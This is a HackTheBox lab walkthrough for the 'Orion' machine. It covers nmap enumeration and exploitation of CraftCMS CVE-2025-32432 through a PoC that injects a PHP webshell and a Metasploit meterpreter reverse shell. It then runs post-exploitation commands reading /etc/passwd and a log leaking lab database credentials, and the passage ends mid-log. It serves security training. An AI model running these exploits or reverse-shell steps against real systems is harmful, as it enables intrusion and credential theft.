> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hackthebox/orion.md).

# Orion

## Credentials

| Name | Password                 | Notes                   |
| ---- | ------------------------ | ----------------------- |
| adam | darkangel                | Found in mysql database |
| root | SuperSecureCraft123Pass! | MySQL root db user      |

## Enumeration

### Nmap

{% code overflow="wrap" expandable="true" %}

```bash
┌──(kali㉿kali 06/28/2026 01:17:54 PM)-[~/htb/machines/orion]
└─$ sudo nmap -sCV -p- -v -oN nmap 10.129.23.182
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-28 13:18 -0500
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Initiating Ping Scan at 13:18
Scanning 10.129.23.182 [4 ports]
Completed Ping Scan at 13:18, 0.10s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:18
Scanning orion.htb (10.129.23.182) [65535 ports]
Discovered open port 22/tcp on 10.129.23.182
Discovered open port 80/tcp on 10.129.23.182
Completed SYN Stealth Scan at 13:18, 16.90s elapsed (65535 total ports)
Initiating Service scan at 13:18
Scanning 2 services on orion.htb (10.129.23.182)
Completed Service scan at 13:18, 6.11s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.23.182.
Initiating NSE at 13:18
Completed NSE at 13:18, 1.79s elapsed
Initiating NSE at 13:18
Completed NSE at 13:18, 0.24s elapsed
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Nmap scan report for orion.htb (10.129.23.182)
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: Orion Telecom
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.53 seconds
           Raw packets sent: 65539 (2.884MB) | Rcvd: 65538 (2.622MB)
```

{% endcode %}

* nginx 1.18
* open ssh 8.9p1

### HTTP

<figure><img src="/files/FRIlzpux1xpUPDpq9qsX" alt=""><figcaption></figcaption></figure>

* contact form

<figure><img src="/files/qWhAEhiwSjXwTxdjsioo" alt=""><figcaption></figcaption></figure>

* completing functionality of the contact as intended

<figure><img src="/files/gpquzhFtqJrDBBN1cQyc" alt=""><figcaption></figcaption></figure>

* an error pops up when trying to submit
* may need to check this out on burp/caido to see what it actually going on

<figure><img src="/files/qpUoeZiXsmUE6P6BYNId" alt=""><figcaption></figcaption></figure>

* CraftCMS
* Not familiar with it
* Seems to have a vulnerable version as of April 2025

## CVE-2025-32432

<figure><img src="/files/cMV8yTwPHAl32V6wGwzS" alt=""><figcaption></figcaption></figure>

{% embed url="<https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432>" %}

<figure><img src="/files/SjYF3WRZ7GKHy7LCOh9K" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/CTY-Research-1/CVE-2025-32432-PoC>" %}

The PoC has a checker python script that sees whether the CraftCMS instance is vulnerable to the CVE:

{% code overflow="wrap" expandable="true" %}

```bash
┌──(kali㉿kali 06/28/2026 01:29:46 PM)-[~/htb/machines/orion/CVE-2025-32432-PoC]
└─$ python3 craftcms_rce_php_check.py -u http://orion.htb/
=== MAIN STARTED ===
[*] Testing single target: http://orion.htb/
[*] Starting scan with 5 threads
[*] Testing http://orion.htb/
準備開始設定網址
[DEBUG] Response text:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
<head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta charset="utf-8">
    <title>Sign In - Orion Telecom</title>
    <link href="http://orion.htb/cpresources/faafd3b4/css/tailwind_reset.css?v=1782671404" rel="stylesheet">
<link href="http://orion.htb/cpresources/fdba6996/css/selectize.css?v=1782671404" rel="stylesheet">
<link href="http://orion.htb/cpresources/e304b192/cp.css?v=1782671404" rel="stylesheet">
<link href="http://orion.htb/cpresources/f1f2cbde/css/cp.css?v=1782671403" rel="stylesheet">
<style>  html {
    height: 100%;
  }
</style>
<script>// Picture element HTML5 shiv
        document.createElement('picture');
window.Craft = {"Solo":0,"Team":1,"Pro":2,"Enterprise":3,"actionTrigger":"actions","actionUrl":"http:\/\/orion.htb\/index.php?p=admin\/actions\/","announcements":[],"asciiCharMap":{"Á":"A","á":"a","Ä":"A","ä":"a","À":"A","à":"a","Â":"A","â":"a","É":"E","é":"e","Ë":"E"
生成回應的.text結果
[+] xml response saved to 'exploit_response.xml'
[+] VULNERABLE: http://orion.htb/
    CRAFT_DB_DATABASE: orion
    HOME Directory: /var/www

=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
```

{% endcode %}

* VULNERABLE

{% code overflow="wrap" %}

```bash
┌──(kali㉿kali 06/28/2026 01:31:03 PM)-[~/htb/machines/orion/CVE-2025-32432-PoC]
└─$ python3 craftcms_final_payload.py -u http://orion.htb/ -c "id"
[*] 目標: http://orion.htb
[+] 找到 assetId = 0
[+] 注入 PHP: <?=exec($_GET['cmd']);die()?>
[+] CSRF  = Lzb2_2raBRxRXsd48rmjE8EJBrigLlyrJj6HYy2wtVVrB3x8hw04vHl_lMs_iDxFAyujGYGM9HyeSET5yBoD0XN9slYegPtlIzUvOc9rUMU=   SessionID = jq35bnaej4d2e2dlq8v6qajgfb
[*] 送第二包觸發 RCE ...
[+] 指令輸出 ↓↓↓
<<無法解析輸出>>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
┌──(kali㉿kali 06/28/2026 01:31:47 PM)-[~/htb/machines/orion/CVE-2025-32432-PoC]
└─$ python3 craftcms_final_payload.py -u http://orion.htb/ -c "whoami"
[*] 目標: http://orion.htb
[+] 找到 assetId = 0
[+] 注入 PHP: <?=exec($_GET['cmd']);die()?>
[+] CSRF  = yY7Ip_CUsjsPs19kju0u2lo3j-jFAZPMi_M42VlFzZwQha7nb1GG_aPisPiYzeFRN_cRFNrdYpY7edmdgHTquuSRV50YCr-vIcbAoxxp0qs=   SessionID = 5o0ij6f7c8ku24s9juao7fhd8q
[*] 送第二包觸發 RCE ...
[+] 指令輸出 ↓↓↓
<<無法解析輸出>>
```

{% endcode %}

* seems to give the same output every time?

### Watching the stream from pebble while I do this box, and a comment about using msf piqued my interest:

{% code overflow="wrap" expandable="true" %}

```bash
┌──(kali㉿kali 06/28/2026 01:33:01 PM)-[~/htb/machines/orion/CVE-2025-32432-PoC]
└─$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v6.4.135-dev                               ]
+ -- --=[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads     ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search craftcms

Matching Modules
================

   #  Name                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                    ---------------  ----       -----  -----------
   0  exploit/linux/http/craftcms_preauth_rce_cve_2025_32432  2025-04-14       excellent  Yes    Craft CMS Image Transform Preauth RCE (CVE-2025-32432)
   1    \_ target: PHP In-Memory                              .                .          .      .
   2    \_ target: Unix/Linux Command Shell                   .                .          .      .
   3  exploit/linux/http/craftcms_ftp_template                2024-12-19       excellent  Yes    Craft CMS Twig Template Injection RCE via FTP Templates Path
   4  exploit/linux/http/craftcms_unauth_rce_cve_2023_41892   2023-09-13       excellent  Yes    Craft CMS unauthenticated Remote Code Execution (RCE)
   5    \_ target: PHP                                        .                .          .      .
   6    \_ target: Unix Command                               .                .          .      .
   7    \_ target: Linux Dropper                              .                .          .      .

Interact with a module by name or index. For example info 7, use 7 or use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Dropper'

msf > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options

Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   ASSET_ID  126              yes       Existing asset ID
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, sock
                                        s4
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.139    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   PHP In-Memory

View the full module info with the info, or info -d command.

msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS http://orion.htb/
RHOSTS => http://orion.htb/
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LPORT 80
LPORT => 80
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST tun0
LHOST => 10.10.15.134
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run
[*] Started reverse TCP handler on 10.10.15.134:80
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (45739 bytes) to 10.129.23.182
[*] Meterpreter session 1 opened (10.10.15.134:80 -> 10.129.23.182:41256) at 2026-06-28 13:41:45 -0500

meterpreter >
```

{% endcode %}

* meterpreter shell opened

#### Getting into a better shell:

```bash
meterpreter > shell
Process 1520 created.
Channel 0 created.

ls
assets
cpresources
index.html
index.php
script /dev/null -qc /bin/bash
www-data@orion:~/html/craft/web$
```

> Remember this command, or note it for future use: `script /dev/null -qc /bin/bash`

#### Looking through the current directory:

{% code overflow="wrap" expandable="true" %}

```bash
www-data@orion:~/html/craft/web$ ls -lah
ls -lah
total 36K
drwxrwxr-x  4 www-data www-data 4.0K Mar  7 15:31 .
drwxrwxr-x  7 www-data www-data 4.0K Mar  6 11:22 ..
-rw-rw-r--  1 www-data www-data  283 Nov 18  2025 .htaccess
drwxr-xr-x  5 www-data www-data 4.0K Mar  6 12:12 assets
drwxrwxr-x 19 www-data www-data 4.0K Jun 28 18:30 cpresources
-rw-r--r--  1 www-data www-data 9.5K Mar  6 12:12 index.html
-rw-rw-r--  1 www-data www-data  258 Nov 18  2025 index.php
www-data@orion:~/html/craft/web$ cat index.php
cat index.php
<?php
/**
 * Craft web bootstrap file
 */

// Load shared bootstrap
require dirname(__DIR__) . '/bootstrap.php';

// Load and run Craft
/** @var craft\web\Application $app */
$app = require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';
$app->run();
www-data@orion:~/html/craft/web$
```

{% endcode %}

#### Checking who’s on the box:

{% code overflow="wrap" expandable="true" %}

```bash
www-data@orion:~/html/craft/web$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
adam:x:1000:1000::/home/adam:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
www-data@orion:~/html/craft/web$
```

{% endcode %}

* `adam` is the target user

#### Checking the phpconfig errors log randomly:

{% code overflow="wrap" expandable="true" %}

```bash
www-data@orion:~/html/craft$ ls
ls
bootstrap.php  composer.lock  craft    templates  web
composer.json  config	      storage  vendor
www-data@orion:~/html/craft$ cd storage
cd storage
www-data@orion:~/html/craft/storage$ ls
ls
config-deltas  logs  runtime
www-data@orion:~/html/craft/storage$ cd logs
cd logs
www-data@orion:~/html/craft/storage/logs$ ls
ls
phperrors.log  web-2026-06-28.log
www-data@orion:~/html/craft/storage/logs$ cat phperrors.log
cat phperrors.log
[28-Jun-2026 11:30:04 America/Los_Angeles] An Error occurred while handling another error:
yii\web\HeadersAlreadySentException: Headers already sent in /var/www/html/craft/vendor/guzzlehttp/psr7/src/FnStream.php on line 57. in /var/www/html/craft/vendor/yiisoft/yii2/web/Response.php:369
Stack trace:
#0 /var/www/html/craft/vendor/yiisoft/yii2/web/Response.php(342): yii\web\Response->sendHeaders()
#1 /var/www/html/craft/vendor/yiisoft/yii2/web/ErrorHandler.php(136): yii\web\Response->send()
#2 /var/www/html/craft/vendor/craftcms/cms/src/web/ErrorHandler.php(226): yii\web\ErrorHandler->renderException()
#3 /var/www/html/craft/vendor/yiisoft/yii2/base/ErrorHandler.php(152): craft\web\ErrorHandler->renderException()
#4 /var/www/html/craft/vendor/craftcms/cms/src/web/ErrorHandler.php(102): yii\base\ErrorHandler->handleException()
#5 [internal function]: craft\web\ErrorHandler->handleException()
#6 {main}
Previous exception:
yii\base\InvalidConfigException: Unsupported configuration type: object in /var/www/html/craft/vendor/yiisoft/yii2/BaseYii.php:353
Stack trace:
#0 /var/www/html/craft/vendor/yiisoft/yii2/base/Component.php(764): yii\BaseYii::createObject()
#1 /var/www/html/craft/vendor/yiisoft/yii2/base/Component.php(692): yii\base\Component->attachBehaviorInternal()
#2 /var/www/html/craft/vendor/yiisoft/yii2/base/Component.php(194): yii\base\Component->attachBehavior()
#3 /var/www/html/craft/vendor/craftcms/cms/src/helpers/App.php(1542): yii\base\Component->__set()
#4 /var/www/html/craft/vendor/craftcms/cms/src/base/Model.php(81): craft\helpers\App::configure()
#5 /var/www/html/craft/vendor/craftcms/cms/src/models/ImageTransform.php(136): craft\base\Model->__construct()
#6 [internal function]: craft\models\ImageTransform->__construct()
#7 /var/www/html/craft/vendor/yiisoft/yii2/di/Container.php(419): ReflectionClass->newInstanceArgs()
#8 /var/www/html/craft/vendor/yiisoft/yii2/di/Container.php(170): yii\di\Container->build()
#9 /var/www/html/craft/vendor/yiisoft/yii2/BaseYii.php(365): yii\di\Container->get()
#10 /var/www/html/craft/vendor/craftcms/cms/src/Craft.php(71): yii\BaseYii::createObject()
#11 /var/www/html/craft/vendor/craftcms/cms/src/helpers/ImageTransforms.php(310): Craft::createObject()
#12 /var/www/html/craft/vendor/craftcms/cms/src/controllers/AssetsController.php(1119): craft\helpers\ImageTransforms::normalizeTransform()
#13 [internal function]: craft\controllers\AssetsController->actionGenerateTransform()
#14 /var/www/html/craft/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array()
#15 /var/www/html/craft/vendor/yiisoft/yii2/base/Controller.php(178): yii\base\InlineAction->runWithParams()
#16 /var/www/html/craft/vendor/yiisoft/yii2/base/Module.php(552): yii\base\Controller->runAction()
#17 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(361): yii\base\Module->runAction()
#18 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(660): craft\web\Application->runAction()
#19 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(323): craft\web\Application->_processActionRequest()
#20 /var/www/html/craft/vendor/yiisoft/yii2/base/Application.php(384): craft\web\Application->handleRequest()
#21 /var/www/html/craft/web/index.php(12): yii\base\Application->run()
#22 {main}

Next yii\web\ServerErrorHttpException: Image transform cannot be created. in /var/www/html/craft/vendor/craftcms/cms/src/controllers/AssetsController.php:1124
Stack trace:
#0 [internal function]: craft\controllers\AssetsController->actionGenerateTransform()
#1 /var/www/html/craft/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array()
#2 /var/www/html/craft/vendor/yiisoft/yii2/base/Controller.php(178): yii\base\InlineAction->runWithParams()
#3 /var/www/html/craft/vendor/yiisoft/yii2/base/Module.php(552): yii\base\Controller->runAction()
#4 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(361): yii\base\Module->runAction()
#5 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(660): craft\web\Application->runAction()
#6 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(323): craft\web\Application->_processActionRequest()
#7 /var/www/html/craft/vendor/yiisoft/yii2/base/Application.php(384): craft\web\Application->handleRequest()
#8 /var/www/html/craft/web/index.php(12): yii\base\Application->run()
#9 {main}
$_SERVER = [
    'USER' => 'www-data',
    'HOME' => '/var/www',
    'HTTP_CONTENT_LENGTH' => '210',
    'HTTP_COOKIE' => 'CraftSessionId=2res4ikhuc2308257fd8g00v1d; CRAFT_CSRF_TOKEN=7992bd1c3053bc87edd55669e43a50367d51246cfbe816a3cd31291d9cea611ea%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22XFkrlcDer4V5aIzaoYI4sZhK35qpD0GXPKe_VqdK%22%3B%7D',
    'HTTP_X_CSRF_TOKEN' => 'MWDSIyqPMtG5eWOubA1-H_nb_lEoNXNYhVCuG1sX9nmyvapAG4MXM2kmuVFG7Ha0y001mw1EBH6WgrdlW28bE7Zl32sfJ7Eh4vbPH03yc3g=',
    'HTTP_CONTENT_TYPE' => 'application/json',
    'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
    'HTTP_ACCEPT_ENCODING' => 'identity',
    'HTTP_HOST' => 'orion.htb',
    'REDIRECT_STATUS' => '200',
    'SERVER_NAME' => 'localhost',
    'SERVER_PORT' => '80',
    'SERVER_ADDR' => '10.129.23.182',
    'REMOTE_USER' => '',
    'REMOTE_PORT' => '34528',
    'REMOTE_ADDR' => '10.10.15.134',
    'SERVER_SOFTWARE' => 'nginx/1.18.0',
    'GATEWAY_INTERFACE' => 'CGI/1.1',
    'REQUEST_SCHEME' => 'http',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'DOCUMENT_ROOT' => '/var/www/html/craft/web',
    'DOCUMENT_URI' => '/index.php',
    'REQUEST_URI' => '/index.php?p=admin/actions/assets/generate-transform',
    'SCRIPT_NAME' => '/index.php',
    'CONTENT_LENGTH' => '210',
    'CONTENT_TYPE' => 'application/json',
    'REQUEST_METHOD' => 'POST',
    'QUERY_STRING' => 'p=admin/actions/assets/generate-transform',
    'SCRIPT_FILENAME' => '/var/www/html/craft/web/index.php',
    'PATH_INFO' => '',
    'FCGI_ROLE' => 'RESPONDER',
    'PHP_SELF' => '/index.php',
    'REQUEST_TIME_FLOAT' => 1782671404.686379,
    'REQUEST_TIME' => 1782671404,
    'CRAFT_APP_ID' => 'CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff',
    'CRAFT_ENVIRONMENT' => 'dev',
    'CRAFT_SECURITY_KEY' => 'RRS86F6i2JQKdC6kfEI7frVxA47WVMx8',
    'CRAFT_DEV_MODE' => 'true',
    'CRAFT_ALLOW_ADMIN_CHANGES' => 'true',
    'CRAFT_DISALLOW_ROBOTS' => 'true',
    'CRAFT_DB_DRIVER' => 'mysql',
    'CRAFT_DB_SERVER' => '127.0.0.1',
    'CRAFT_DB_PORT' => '3306',
    'CRAFT_DB_DATABASE' => 'orion',
    'CRAFT_DB_USER' => 'root',
    'CRAFT_DB_PASSWORD' => 'SuperSecureCraft123Pass!',
    'CRAFT_DB_SCHEMA' => '',
    'CRAFT_DB_TABLE_PREFIX' => '',
    'PRIMARY_SITE_URL' => 'http://orion.htb/',
]
[28-Jun-2026 11:41:40 America/Los_Angeles] An Error occurred while handling another error:
yii\web\HeadersAlreadySentException: Headers already sent in /var/www/html/craft/vendor/guzzlehttp/psr7/src/FnStream.php on line 57. in /var/www/html/craft/vendor/yiisoft/yii2/web/Response.php:369
Stack trace:
#0 /var/www/html/craft/vendor/yiisoft/yii2/web/Response.php(342): yii\web\Response->sendHeaders()
#1 /var/www/html/craft/vendor/yiisoft/yii2/web/ErrorHandler.php(136): yii\web\Response->send()
#2 /var/www/html/craft/vendor/craftcms/cms/src/web/ErrorHandler.php(226): yii\web\ErrorHandler->renderException()
#3 /var/www/html/craft/vendor/yiisoft/yii2/base/ErrorHandler.php(152): craft\web\ErrorHandler->renderException()
#4 /var/www/html/craft/vendor/craftcms/cms/src/web/ErrorHandler.php(102): yii\base\ErrorHandler->handleException()
#5 [internal function]: craft\web\ErrorHandler->handleException()
#6 {main}
Previous exception:
yii\base\InvalidConfigException: Unsupported configuration type: object in /var/www/html/craft/vendor/yiisoft/yii2/BaseYii.php:353
Stack trace:
#0 /var/www/html/craft/vendor/yiisoft/yii2/base/Component.php(764): yii\BaseYii::createObject()
#1 /var/www/html/craft/vendor/yiisoft/yii2/base/Component.php(692): yii\base\Component->attachBehaviorInternal()
#2 /var/www/html/craft/vendor/yiisoft/yii2/base/Component.php(194): yii\base\Component->attachBehavior()
#3 /var/www/html/craft/vendor/craftcms/cms/src/helpers/App.php(1542): yii\base\Component->__set()
#4 /var/www/html/craft/vendor/craftcms/cms/src/base/Model.php(81): craft\helpers\App::configure()
#5 /var/www/html/craft/vendor/craftcms/cms/src/models/ImageTransform.php(136): craft\base\Model->__construct()
#6 [internal function]: craft\models\ImageTransform->__construct()
#7 /var/www/html/craft/vendor/yiisoft/yii2/di/Container.php(419): ReflectionClass->newInstanceArgs()
#8 /var/www/html/craft/vendor/yiisoft/yii2/di/Container.php(170): yii\di\Container->build()
#9 /var/www/html/craft/vendor/yiisoft/yii2/BaseYii.php(365): yii\di\Container->get()
#10 /var/www/html/craft/vendor/craftcms/cms/src/Craft.php(71): yii\BaseYii::createObject()
#11 /var/www/html/craft/vendor/craftcms/cms/src/helpers/ImageTransforms.php(310): Craft::createObject()
#12 /var/www/html/craft/vendor/craftcms/cms/src/controllers/AssetsController.php(1119): craft\helpers\ImageTransforms::normalizeTransform()
#13 [internal function]: craft\controllers\AssetsController->actionGenerateTransform()
#14 /var/www/html/craft/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array()
#15 /var/www/html/craft/vendor/yiisoft/yii2/base/Controller.php(178): yii\base\InlineAction->runWithParams()
#16 /var/www/html/craft/vendor/yiisoft/yii2/base/Module.php(552): yii\base\Controller->runAction()
#17 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(361): yii\base\Module->runAction()
#18 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(660): craft\web\Application->runAction()
#19 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(323): craft\web\Application->_processActionRequest()
#20 /var/www/html/craft/vendor/yiisoft/yii2/base/Application.php(384): craft\web\Application->handleRequest()
#21 /var/www/html/craft/web/index.php(12): yii\base\Application->run()
#22 {main}

Next yii\web\ServerErrorHttpException: Image transform cannot be created. in /var/www/html/craft/vendor/craftcms/cms/src/controllers/AssetsController.php:1124
Stack trace:
#0 [internal function]: craft\controllers\AssetsController->actionGenerateTransform()
#1 /var/www/html/craft/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array()
#2 /var/www/html/craft/vendor/yiisoft/yii2/base/Controller.php(178): yii\base\InlineAction->runWithParams()
#3 /var/www/html/craft/vendor/yiisoft/yii2/base/Module.php(552): yii\base\Controller->runAction()
#4 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(361): yii\base\Module->runAction()
#5 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(660): craft\web\Application->runAction()
#6 /var/www/html/craft/vendor/craftcms/cms/src/web/Application.php(323): craft\web\Application->_processActionRequest()
#7 /var/www/html/craft/vendor/yiisoft/yii2/base/Application.php(384): craft\web\Application->handleRequest()
#8 /var/www/html/craft/web/index.php(12): yii\base\Application->run()
#9 {main}
$_SERVER = [
    'USER' => 'www-data',
    'HOME' => '/var/www',
    'HTTP_CONTENT_LENGTH' => '198',
    'HTTP_CONTENT_TYPE' => 'application/json',
    'HTTP_X_CSRF_TOKEN' => 'pU37uRxm-9fQLJ-FSMLXxTKcoHrELMu1Pzdru5xa8ab979Lb-IcC-NUkt95vJamyu1Wmx3qupINzrcs-i3673XpRIOnNNZTrloa3rdXzVp4=',
    'HTTP_COOKIE' => 'CRAFT_CSRF_TOKEN=1aedeff06aeb15c3fe463b5e73c87e5049fb231b02590d42be14ffe144d10f1ca%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22piLgsCReky9B2lsFA1kDORphEfKRQoeMkiev-tTf%22%3B%7D; CraftSessionId=akhhicis4m8q4v3op5sqm3761r',
    'HTTP_USER_AGENT' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'HTTP_HOST' => 'orion.htb',
    'REDIRECT_STATUS' => '200',
    'SERVER_NAME' => 'localhost',
    'SERVER_PORT' => '80',
    'SERVER_ADDR' => '10.129.23.182',
    'REMOTE_USER' => '',
    'REMOTE_PORT' => '34521',
    'REMOTE_ADDR' => '10.10.15.134',
    'SERVER_SOFTWARE' => 'nginx/1.18.0',
    'GATEWAY_INTERFACE' => 'CGI/1.1',
    'REQUEST_SCHEME' => 'http',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'DOCUMENT_ROOT' => '/var/www/html/craft/web',
    'DOCUMENT_URI' => '/index.php',
    'REQUEST_URI' => '/index.php?p=admin/actions/assets/generate-transform',
    'SCRIPT_NAME' => '/index.php',
    'CONTENT_LENGTH' => '198',
    'CONTENT_TYPE' => 'application/json',
    'REQUEST_METHOD' => 'POST',
    'QUERY_STRING' => 'p=admin/actions/assets/generate-transform',
    'SCRIPT_FILENAME' => '/var/www/html/craft/web/index.php',
    'PATH_INFO' => '',
    'FCGI_ROLE' => 'RESPONDER',
    'PHP_SELF' => '/index.php',
    'REQUEST_TIME_FLOAT' => 1782672100.434787,
    'REQUEST_TIME' => 1782672100,
    'CRAFT_APP_ID' => 'CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff',
    'CRAFT_ENVIRONMENT' => 'dev',
    'CRAFT_SECURITY_KEY' => 'RRS86F6i2JQKdC6kfEI7frVxA47WVMx8',
    'CRAFT_DEV_MODE' => 'true',
    'CRAFT_ALLOW_ADMIN_CHANGES' => 'true',
    'CRAFT_DISALLOW_ROBOTS' => 'true',
    'CRAFT_DB_DRIVER' => 'mysql',
    'CRAFT_DB_SERVER' => '127.0.0.1',
    'CRAFT_DB_PORT' => '3306',
    'CRAFT_DB_DATABASE' => 'orion',
    'CRAFT_DB_USER' => 'root',
